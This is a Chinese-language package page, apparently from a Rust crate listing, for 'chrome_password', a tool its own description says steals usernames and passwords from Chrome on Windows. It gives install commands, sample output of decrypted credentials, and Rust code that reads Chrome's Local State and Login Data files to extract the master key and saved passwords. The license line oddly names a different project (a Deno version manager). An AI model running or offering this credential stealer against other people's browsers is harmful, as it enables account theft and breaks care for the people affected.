2 个不稳定版本
0.2.0 | 2022 年 8 月 10 日 |
---|---|
0.1.0 | 2022 年 8 月 9 日 |
#10 在 #hack
9KB
99 行
chrome_password
窃取 从 Chrome 获取用户名和密码。(现在仅限 Windows)
安装
您可以从发布页面下载 exe 可执行文件。
使用 Cargo
cargo install chrome_password
用法
➜ ~ chrome_password
+----------------------------------------+------------------------+---------------------------+
| url | username | password |
+----------------------------------------+------------------------+---------------------------+
| https://baidu.com | justjavac | 12345678 |
+----------------------------------------+------------------------+---------------------------+
| http://127.0.0.1/login.php | admin | 12345678 |
+----------------------------------------+------------------------+---------------------------+
| https://www.zhihu.com/login | root | 12345678 |
作为 crate 使用
将以下内容添加到您的 Cargo.toml
[dependencies]
chrome_password = "0.2"
代码
use std::env;
use std::path::PathBuf;
fn main() {
let user_profile = env::var("LOCALAPPDATA").unwrap();
let local_state_path = PathBuf::from(&user_profile).join("Google/Chrome/User Data/Local State");
let login_data_path = PathBuf::from(&user_profile).join("Google/Chrome/User Data/Default/Login Data");
let master_key = chrome_password::get_master_key(&local_state_path);
let password = chrome_password::get_password(&login_data_path, &master_key);
println!("{:?}", &password);
}
许可证
Deno 版本管理器(dvm)是在 MIT 许可证下发布的。有关详细信息,请参阅附带的 LICENSE 文件。
依赖项
~5MB
~91K SLoC